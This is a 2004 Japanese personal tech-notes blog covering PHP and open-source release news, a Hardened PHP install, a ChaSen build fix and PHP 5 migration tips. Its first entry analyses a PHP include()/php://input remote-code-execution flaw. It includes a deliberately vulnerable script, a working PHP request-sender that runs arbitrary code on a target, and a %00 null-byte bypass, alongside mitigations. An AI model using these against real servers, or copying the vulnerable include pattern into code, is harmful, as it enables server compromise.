個人的なメモと備忘録 2004年 5月

>>[PHP] include() bypassing filter with php://input (Bugtraq)

Bugtraq に、[PHP] include() bypassing filter with php://input という投稿があり、PHP の include() や require() などで php://input が引数に入った場合、外部から任意の PHP スクリプトが実行できてしまう問題について報告されています。

問題となる PHP のバージョンは、PHP 3.0.13 以上となっており、PHP 4.3.7RC1 でも同じ問題を確認しました。

実際には、以下のように、ユーザからの入力を直接、include() や require() に入れるような PHP スクリプトがあった場合、問題になります。

<?php
include( $_GET['file'] );
?>

実際に検証するために、このスクリプトを test.php という名前で保存し、Apache の Document Root に置き、test.php の $_GET['file'] に、php://input を与え、POST データに PHP スクリプトを与えるように HTTP リクエストを実行しました。結果としては、確かに対象のサーバ側で指定した PHP スクリプトが実行されました。

検証に使用したスクリプトは、Bugtraq の投稿にあったサンプルを変更して、以下のようにしました。PHP 4.2.0 以降で動作すると思います。

<form action="<?php echo $_SERVER['SCRIPT_NAME'] ?>" method="post">
<div>target server : <input type="text" name="server" value="127.0.0.1" /></div>
<div>file : <input type="text" name="file" value="test.php?file=" /></div>
<div>exec : <input type="text" name="cmd" value="<?php echo '<?php phpinfo() ?>' ?>" /></div>
<INPUT type="submit" value="send" />
</form>
<?php

$file   = ! empty( $_POST['file'] )   ? $_POST['file']   : '';
$server = ! empty( $_POST['server'] ) ? $_POST['server'] : '';
$cmd    = ! empty( $_POST['cmd'] )    ? $_POST['cmd']    : '';

if ( $cmd ) {
    $message  = "POST /" . $file . "php://input HTTP/1.1\r\n";
    $message .= "Host: " . $server . "\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "Content-length: " . strlen( $cmd ) . "\r\n";
    $message .= "\r\n";
    $message .= $cmd . "\r\n";

    $fp = fsockopen( $server, 80 );
    fputs( $fp, $message );
    while( ! feof( $fp ) ) {
        echo fgets( $fp );
    }
    fclose( $fp );
}
?>

この問題を回避するためには、ユーザからの入力値のチェックを行い、不正な場合は include() や、require() などを実行させないようにするという方法があります。ただし、入力値チェックでも、Null Byte Attack のような攻撃方法もありますので、ヌルバイトを削除するなどの対処も必要です。例えば、今回の場合、test.php が

include( $_GET['file'] . '.txt' );

のようになっていた場合、実際に実行すると、

include( 'php://input.txt' );

となって、ストリームが開けないというエラーが発生して、PHP スクリプトは実行されませんが、以下のように HTTP リクエストを作成する際に %00 を入れておくと、

POST /test.php?file=php://input%00 HTTP/1.1

以下のようになり、include() はバイナリセーフではないため、\0 以降は無視され、POST リクエストに入っている PHP スクリプトが実行されてしまいます。

include( "php://input\0.txt" );

また、先週に紹介した Hardened PHP を組み込んでおくと、今回の問題を回避できます。

他に php.ini の設定で、safe_mode を On に、allow_url_fopen を Off にして試してみましたが、この方法では回避できないようです。

php:// から始まるストリームの指定については、PHP マニュアルの、PHP 入出力ストリーム に説明がありますので読んでおくと良いと思います。

Null Byte Attack については、個人的には以下のように関数を作成して対処しています。ついでにmagic_quotes_gpc の対策も入っています。

function sanitize( $arr )
{
    if ( is_array( $arr ) ) {
        return array_map( 'sanitize', $arr );
    }
    else {
        $ret = str_replace( "\0", "", $arr );
        if ( get_magic_quotes_gpc() ) {
            $ret = stripslashes( $ret );
        }
        return $ret;
    }
}
$_POST = sanitize( $_POST );
$_GET  = sanitize( $_GET  );

>>PHP 4.3.7RC1 公開

PHP 4.3.7 RC1 が公開されています。PHP 4.3.6 から多くのバグ修正が行われているようです。詳細は、CVS の NEWS を参照してください。

変更の主なものとしては、GD ライブラリのバージョンが 2.0.23 にアップグレード、Win32 環境のコマンドラインで、エスケープの処理の問題を修正、*printf() 関数の %f のフォーマットの問題の修正などが行われています。

>>FreeBSD 4.10-RELEASE

The FreeBSD Project から、安定版の FreeBSD 4.10-RELEASE が公開されました。詳しくは、FreeBSD 4.10-RELEASE Announcement(FreeBSD 4.10-RELEASE Announcement 日本語訳) や、FreeBSD 4.10-RELEASE Release Notes(FreeBSD 4.10-RELEASE リリースノート) などを参照してください。

スラッシュドット・ジャパンの FreeBSD 4.10-RELEASE 公開という記事にも情報がありますので、参考になると思います。

>>セキュリティ関係

<? fopen("http://127.0.0.1/loop.php","r"); ?>

>>気になったニュース、ツールなど

• 初級システム管理者のためのセキュリティ入門「にわか管理者奮闘記」最終回

  @IT から。

• Sylpheed 0.9.11

  オープンソースのメールクライアント、ニュースリーダ。機能追加や、機能改善などが行われています。詳しくは、Sylpheed 更新履歴を参照してください。

• coLinux 0.6.1

  Windows 2000/XP 上で動作する Linux システム。新機能や変更点などの説明は、Cooperative Linux Documentation にあります。

  -c オプションで設定ファイルを選択して起動するように変更されたようです。起動しない場合は、設定ファイルを指定して起動してください。

• Mozilla 1.8 Alpha1

  オープンソースのブラウザ、メール環境。Mozilla 1.8 のアルファ版 1版。詳しくは、Mozilla 1.8 Alpha1 Release Notes を参照してください。

• SoftEther 仮想 HUB (Linux版) 1.01

  SoftEther 仮想 HUB for Linux バージョン 1.00 からの不具合の改善、通信速度の改善などが行われているそうです。

• 日本語版 Microsoft Baseline Security Analyzer 1.2 正式公開のお知らせと利用上の注意点

  Microsoft が公開している、Microsoft Baseline Security Analyzer 1.2 が正式に公開されたようです。修正プログラムの適用状況や、設定などのセキュリティ問題を調査してくれるツールです。

• Macromedia Flash Player 7 Linux 版

  Linux 版の Flash Player プラグインが公開されたようです。バージョンは、7,0,25,0 になっています。

• Samba 3.0.5pre1

  Unix 系の OS で動作するオープンソースの Windows NT / 2000 互換のファイル、プリントサーバ。Samba 3.0.5 のプレビュー版。詳しくは、Release Notes for Samba 3.0.5pre1 にあります。

• mod_ssl 2.8.18-1.3.31

  Apache 1.3.x に SSL を機能を追加するモジュール。セキュリティ修正が行われています。以前のバージョンをインストールしている場合は、バージョンアップしてください。

>>Hardened PHP

slashdot.org で、Hardened PHP という PHP をよりセキュアにするための Patch が紹介されていましたので、少し試してみました(slashdot.org の Hardened PHP の紹介記事)。

Hardened PHP の documentation のページに詳しく書かれていますが、インストール方法は、PHP 4.3.6 のソースコードを展開し、Hardened PHP の Patch を適用してから、configure 実行、make を行います。

現在は、PHP 4.3.6 に対する Hardened-PHP v0.1.1 が配布されていますので、php-4.3.6.tar.bz2 と hardened-php-4.3.6-0.1.1.patch.gz を取得して、以下のように PHP を作成、インストールします。

$ tar jxvf php-4.3.6.tar.bz2
$ gunzip hardened-php-4.3.6-0.1.1.patch.gz
$ cd php-4.3.6
$ patch -p1 < ../hardened-php-4.3.6-0.1.1.patch
$ ./configure
  --with-apxs=/usr/local/apache/bin/apxs \
  --without-mysql \
  --enable-mbstring
$ make
$ make test
$ sudo make install

正常にインストールされた場合、php.ini が expose_php = On になっていると、HTTP のレスポンスヘッダや、$_SERVER['SERVER_NAME'] に以下のような形で、Hardened-PHP/4.3.6 という文字が入ります。

Apache/1.3.31 (Unix) Hardened-PHP/4.3.6

(Apache の http.conf で、ServerTokens ProductOnly などによりモジュール名を表示しない設定になっている場合はこの表示はされません。)

Hardened PHP の機能としては、以下のように説明されています。詳しい内容や、どのような攻撃を防げるかについては、documentation のページに書かれています。

• Canary protection of the Zend Memory Manager
• Canary protection of Zend Linked Lists
• Protection against internal format string exploits
• Protection against arbitrary code inclusion
• Syslog logging of attackers IP

不正な攻撃や、入力があった場合、syslog に記録できるようになっていますので、便利かもしれません。

また、include() や require() で、外部のサーバからデータを取得するようなことはできなくなります(実際には、:// という文字列が含まれている場合は実行を中断するようです)ので、スクリプト中に以下のような命令を使用する場合は、Hardened PHP をインストールすると実行できなくなります。

include( 'http://www.examle.com/' );

実際に、不正なアクセスが行われると、以下のようなメッセージが syslog に記録されます。

php security-alert: Include filename is an URL (attacker '127.0.0.1')
php security-alert: Include filename longer than MAXPATHLEN chars (attacker '127.0.0.1')

安全な PHP スクリプトを書くことで、大半は回避できる問題と思われますが、セーフモードと組み合わせることで、サーバをより安全にできる可能性がありますので、共用サーバなど、セキュリティが心配な場合は、試してみても良いかもしれません。ただ、Hardened PHP を適用することによるオーバーヘッドはほとんどないとされていますが、メモリ使用量の増加などはあるようですので、使用する場合は十分にテストを行った方が安全です。

>>セキュリティ関係

>>気になったニュース、ツールなど

• Wizard Bible vol.10 (2004,5,21)
  • 第１章：フィンガープリント偽装 J-Klein 著
  • 第２章：常駐プログラム隠蔽テクニック　〜Windows篇〜 Kenji Aiko 著
  • 第３章：ブルースクリーンと仲良くなろうよ IPUSIRON 著
  • 第４章：今、欲しいハードウエア MaD 著
• Mozilla 1.7RC2

  オープンソースのブラウザ、メール環境。Mozilla 1.7 のリリース候補 2版。詳細は、Mozilla 1.7 RC 2 Release Notes(日本語訳:Mozilla 1.7 RC2 リリースノート) にあります。Mozilla Development Roadmap によると、Mozilla 1.7 の正式版の前に、Mozilla 1.7 RC3 が公開される予定のようです。

  また、Mozilla 1.8 Alpha1 も公開されたようです。

• Ettercap NG-0.7.0_pre2

  ネットワークパケットを分析するツール。ettercap History に追加機能や変更点などの情報があります。

• Canna 3.7p3

  UNIX系 OS で動作する日本語入力システム。Canna 3.7p2 が公開された後、FreeBSD, Solaris, AIX などで make に失敗する問題を修正した、Canna 3.7p3 が公開されました。変更点については、CHANGES.jp のの 「2.2 Canna 3.7p2での変更点」にあります。

• OpenOffice 1.1.1 日本語版

  オープンソースのオフィス環境。OpenOffice 1.1.1 日本語版が公開されました。新機能などの詳細はOpenOffice.org 最新バージョン情報 や、OpenOffice.org 1.1.1 を手に入れようにあります。

• KNOPPIX3.4 (knoppix_v3.4_20040510-20040520)

  CD のみでブート可能な Linux ディストリビューション。不具合修正版が行われているそうです。

• CVS 1.11.16, CVS 1.12.8

  バージョン管理システム。セキュリティ修正が行われています。

• Subversion 1.0.3, 1.0.4

  バージョン管理システム。セキュリティ修正とバグ修正が行われているようです。

>>Chasen 2.3.3 の Perl の モジュール作成

Gentoo Linux の Portage を使用して、形態素解析システムの Chasen をインストールしていたのですが、Chasen 2.3.3 へのバージョンアップがあってから、Perl の Chasen モジュールを使った Namazu のインデックス作成で失敗することに気が付きましたので、一応、動くように Perl の Chasen モジュールを作成し直してみました。その時のメモです。

Chasen のバージョンを 2.3.3 に上げてから、mknmz コマンドを Chasen を使って実行すると以下のようにエラーが出て使えなくなりました。

$ mknmz -c ~/public_html
Can't load '/usr/lib/perl5/vendor_perl/5.8.2/i686-linux/auto/Text/ChaSen/ChaSen.so'
 for module Text::ChaSen: /usr/lib/libchasen.so.0: undefined symbol: __gxx_personality_v0
 at /usr/lib/perl5/5.8.2/i686-linux/DynaLoader.pm line 229.
 at /usr/bin/mknmz line 891
 Compilation failed in require at /usr/bin/mknmz line 891.

Web 検索してみたところ、[chasen-users:00403] FreeBSD 4.8-R への chasen-2.3.3 Perl モジュールのインストールのスレッドで、Chasen の Perl モジュールを作成するときに、Makefile.PL の指定に -lstdc++ を追加する必要があることが分かりましたので、それを参考に作成してみました。既に Chasen 自体は既にインストールされているため、Perl モジュールのみ作成しました。

$ wget http://chasen.aist-nara.ac.jp/stable/chasen/chasen-2.3.3.tar.gz
$ tar zxvf chasen-2.3.3.tar.gz
$ cd chasen-2.3.3/perl
$ vi Makefile.PL

ここで、以下のように LIBS の部分を変更して、perl Makefile.PL を実行したのですが、

'LIBS' => ['-lchasen -lstdc++']

以下のようにエラーが出て、うまくいきませんでした。使用していたのは perl 5.8.2 だったのですが、perl のバージョンの問題かもしれません。

$ perl Makefile.PL
Note (probably harmless): No library found for -lstdc++
Writing Makefile for Text::ChaSen

ここで Makefile は作成されていましたので、直接 Makefile を編集して、必要そうな部分に -lstdc++ を追加して Chasen モジュールを作成することにしました。

$ vi Makefile

EXTRALIBS と LDLOADLIBS の行を以下のように -lstdc++ を追加してみました。環境によって違うかもしれませんが、手元の環境では 268行目と 269行目にありました。

EXTRALIBS = -lchasen -lstdc++
LDLOADLIBS = -lchasen -lstdc++

あとは、make を実行して、Chasen モジュールを作成し、既にある、ChaSen.so を上書きしました。

$ make
$ sudo mv blib/arch/auto/Text/ChaSen/ChaSen.so /usr/lib/perl5/vendor_perl/5.8.2/i686-linux/auto/Text/ChaSen/ChaSen.so

この後、mknmz コマンドを使用して、Chasen を使ったインデックスの作成に成功することを確認しました。

補足ですが、Text::ChaSen のページによると、Chasen 2.3.x になってから C++ のテンプレートライブラリの darts を使用するようになったため、モジュールを build する際に C++ libray のリンクが必要になったそうです。また、Gentoo Linux の Portage では、これに対応するため、Makefile.PL に -lstdc++ を追加する処理が追加されています。Perl のバージョンが 5.8.0 の時は問題なく動作していたと思われるのですが、Perl 5.8.2 にバージョンアップされてから失敗するようになったようです。最新の Perl は 5.8.4 ですので、この問題は修正されているかもしれません。

>>セキュリティ関係

>>気になったニュース、ツールなど

• まさらというなかれ！管理者のためのウイルス対策の基礎 最終回 企業としてのウイルス対策

  @IT から。企業におけるウイルス感染時の対応手順や、ウイルス対策に必要な事前準備などについての解説があります。

• Samba 2.2.9, 3.0.4

  Unix 系の OS で動作するオープンソースの Windows NT / 2000 互換のファイル、プリントサーバ。Microsoft RPC/DCOM 用の累積的な修正プログラム(MS04-012)に含まれる、Microsoft KB828741 の修正プログラムを適用した場合に発生する認証時の問題に対処したそうです。詳しくは、Release Notes for Samba 3.0.4 や、Release Notes for Samba 2.2.9 を参照してください。

• KNOPPIX 3.4 (knoppix_v3.4_20040504-20040511)

  CD のみでブート可能な Linux ディストリビューション。kernel 2.4 と 2.6 のハイブリッド化、USB CD ドライブ対応、Windows の NTFS への書き込みなどの新機能が追加されたそうです。

• Mozilla 1.4.2

  オープンソースのブラウザ。安定版の 1.4.2 が公開されています。詳しくは、Mozilla 1.4.2 Release Notes(日本語訳: Mozilla 1.4.2 リリースノート) を参照してください。

• WinSCP 3.6.1

  Windows 用の SCP クライアント。多くの新機能やバグ修正が行われているようです。詳しくは、Version history - WinSCP を参照してください。

• Ethereal 0.10.4

  ネットワーク分析ツール。新機能や変更点などは、Ethereal 0.10.4 released にあります

• Opera 7.50(英語版)

  ブラウザ。日本語版はまだ公開されていません。多くの新機能の追加と、セキュリティホールなどの修正が行われています。

• Linux Kernel 2.6.6

  Linux カーネル。Linux Kerle 2.6.5 からの変更点については、ChangeLog-2.6.6 を参照してください。

• Apache 1.3.31

  Web サーバ。セキュリティ修正、バグ修正が行われています。詳しくは、アナウンスのApache HTTP Server 1.3.31 Released (日本語訳:Apache HTTP Server 1.3.31 リリース) を参照してください。

• mod_ssl 2.8.17-1.3.31

  Apache 1.3.x に SSL を機能を追加するモジュール。Apache 1.3.31 に対応したバージョンが公開されています。

• pdumpfs 0.9

  Ruby 実装されたバックアップシステム。バグ修正が行われ、Windows バイナリも実験的に用意されたそうです。

• Tomcat 5.0.24

  Java Servlet と Java Server Pages の実装。詳細は、Apache Tomcat Version 5.0.24 Release Notes を参照してください。

• WinPcap 3.1 beta 3

  Windows 用のパケットキャプチャ、ネットワーク分析に使用できるライブラリ。WinPcap 3.1 beta 2 からバグ修正が行われています。詳細は Change Log にあります。

>>PHP 4 から PHP 5 への移行

PHP 4 から PHP 5 へ移行する際に参考になる情報として、Migrating from PHP 4 to PHP 5 という資料が公開されていました。PHP 4 と PHP 5 の非互換になっている点の多くが説明されていますので、読んでおくと移行する必要がある際には役に立つかもしれません。また、PHP 4 と PHP 5 の両方で動作するスクリプトの書き方も説明されています。

いくつか参考になりそうな部分を取り上げてメモしておきます。資料には、実際のスクリプトが書かれていますので、詳しくは資料を参照してください。

• PHP 5 では、PHP 4 の Zend Engine 1 の互換モードが用意されることになっていますが、その切り替え方法として、 php.ini を使用する方法と、ini_set() で指定する方法が挙げられていました。

  php.ini では、以下の記述を追加することで互換モードに切り替えることができるようです。

  zend.ze1_compatibility_mode = 1

  また、PHP スクリプト中で切り替える場合は、以下のように ini_set() を使用します。

  ini_set( 'zend.ze1_compatibility_mode', '1' );

  互換モードに切り替えることで、オブジェクトの複製、キャスト、比較を行う際に影響を受けるそうです。実際のスクリプトについては、Migrating from PHP 4 to PHP 5 の資料で説明されています。

• PHP 5 では、E_STRICT という新しいエラーレベルが追加されたそうです。E_ALL には 含まれないため、全てのエラーを表示させるためには、php.ini で以下のように指定する必要があります。

  error_reporting  =  E_ALL|E_STRICT

  E_STRICT を指定した場合、PHP 5 の書式に従っていない場合に、エラーが表示されます。PHP 4 互換で PHP スクリプトを動作させる時にはエラーが表示されますので、外しておいた方が良いかもしれません。

• PHP 5 の array_merge() では、配列でないパラメータをマージすることができなくなっているそうです。 以下のスクリプトが例として挙げられていました。PHP 4 では、動作しますが、PHP 5 では、以下スクリプトは動作しないそうです。

  $scandinavia = array('Denmark', 'Norway', 'Sweden', 'Finland');
  $uk = "The UK";
  
  $europe = array_merge($scandinavia, $uk);
  

• strrpos() や strripos() で文字列の検索を行った場合に、結果が見つからなかった場合、 PHP 4 と PHP 5 では、返す型が違うそうです。PHP 4 では int 型の 0 を返し、PHP 5 では、bool 型の FALSE を返すように なったそうです。他の関数でも返り値の型の変更などがあるかもしれませんので、確認用のスクリプトを書くなどして、確認して おいたほうが良いと思います。

>>セキュリティ関係

>>気になったニュース、ツールなど

• Mozilla Thunderbird 0.6

  オープンソースのブラウザである、Mozilla から派生したメールクライアント、ニュースリーダ。Windows 版ではインストーラができたそうです。詳しくは、Mozilla Thunderbird 0.6 Release Notes(日本語訳:Mozilla Thunderbird 0.6 リリースノート) を参照してください。

• WinPcap 3.1 beta 2

  Windows 用のパケットキャプチャ、ネットワーク分析に使用できるライブラリ。新機能や変更点などの詳細は Change Log にあります。

>>PHP 5.0.0RC2 公開

PHP 5.0.0RC2 が公開されています。PHP 5.0.0RC1 から多くのバグ修正が行われているようですが、まだ多くの仕様変更や機能追加が行われています。詳しくは、PHP 5 ChangeLog を参照してください。

ChangeLog を見ると、以下の記述が気になりましたので、少し調べてみました。

Under CLI, fclose() on php://stdin, php://stdout and php://stderr will now close the real stream.Please update your CLI scripts to use STDIN, STDOUT and STDERR constants instead of fopen()/fclose(). (Wez)

以下のようなスクリプトを書くと、PHP 5.0.0RC2 以降では影響を受けそうです。

<?php
$stdout = fopen( 'php://stdout', 'w' );
fwrite( $stdout, "test1\n" );
fclose( $stdout );

echo "test2\n";
?>

スクリプトを実行すると、PHP 4.x や PHP 5.0.0RC1 では以下のようになりますが、

test1
test2

PHP 5.0.0RC2 以降では fclose() が stream を閉じてしまうため、以下のように、test2 が表示されなくなります。

test1

対処方法として、定数の STDIN, STDOUT, STDERR を使用することが推奨されています。これらの定数は、PHP マニュアルの第 23章 PHP をコマンドラインから使用するで説明されていますが、PHP 4.3.0 以降の CLI 版では、STDIN, STDOUT, STDERR という定数が常に使用できるようです。

fwrite( STDOUT, "test1\n" );

また、User Contributed Notes の投稿に、PHP 4.3.0 より前のバージョンで、標準入力、標準出力を定数に定義する方法が挙げられています。php:// で標準入力や標準出力を開かずに、定数を使用するようにした方が汎用的になりますので、php:// を使用している場合は変更をしておくと良いかもしれません。

if ( version_compare( phpversion(), '4.3.0', '<' ) ) {
    define( 'STDIN',  fopen( 'php://stdin',  'r' ) );
    define( 'STDOUT', fopen( 'php://stdout', 'w' ) );
    define( 'STDERR', fopen( 'php://stderr', 'w' ) );
    register_shutdown_function(
        create_function( '', 'fclose( STDIN ); fclose( STDOUT ); fclose( STDERR ); return TRUE;' )
    );
}

(2004.12.08 修正)

上のコードに間違いがあったことを指摘していただきましたので、コードを書き直しました。以前は、以下のようになっていましたが、

define('STDOUT',fopen("php://stdout","r"));
define('STDERR',fopen("php://stderr","r"));

定数の STDOUT と STDERR では、fopen() の第2引数は 'w' でないと意味がありません。以下のように修正しました。

define( 'STDOUT', fopen( 'php://stdout', 'w' ) );
define( 'STDERR', fopen( 'php://stderr', 'w' ) );

>>セキュリティ関係

>>気になったニュース、ツールなど

• Common Security Vulnerabilities in e-commerce systems

  Security Focus から。e-commerce のシステムを作成する時に、気をつけるべき脆弱性についての解説。

• つぎはぎシステムを防ぐセキュリティアーキテクチャ

  @IT から。

• Rsync 2.6.1, Rsync 2.6.2

  オープンソースのファイル転送ツール。2.6.1 が公開されましたが、--relative (-R) オプションを使用した時の処理にバグが見つかり、Rsync 2.6.2pre1 を経て、Rsync 2.6.2 が公開されています。Rsync 2.6.1 を使用する場合は、Patch を適用するか、--relative オプションは避けることが推奨されています。

  詳しくは、rsync-2.6.1-NEWS と、rsync-2.6.2-NEWS を参照してください。

• w3m 0.5.1

  テキストベースの Web ブラウザ。

• ProFTPD 1.2.10RC1

  FTP サーバ。多くのバグ修正が行われています。詳しくは、NEWS-1.2.10rc1 を参照してください。

• ModSecurity 1.8dev2

  オープンソースの Web アプリケーション侵入検知、防止エンジン。1.8 系の開発版。新機能など、詳しくは、CHANGES にあります。

• Samba 3.0.3

  Unix 系の OS で動作するオープンソースの Windows NT / 2000 互換のファイル、プリントサーバ。3.0.3 が公開されました。新機能や変更点などの詳細は Release Notes for Samba 3.0.3 を参照してください。

• WinSCP 3.6 beta

  Windows 用の SCP クライアント。多くの新機能やバグ修正が行われているようです。詳しくは、Version history - WinSCP を参照してください。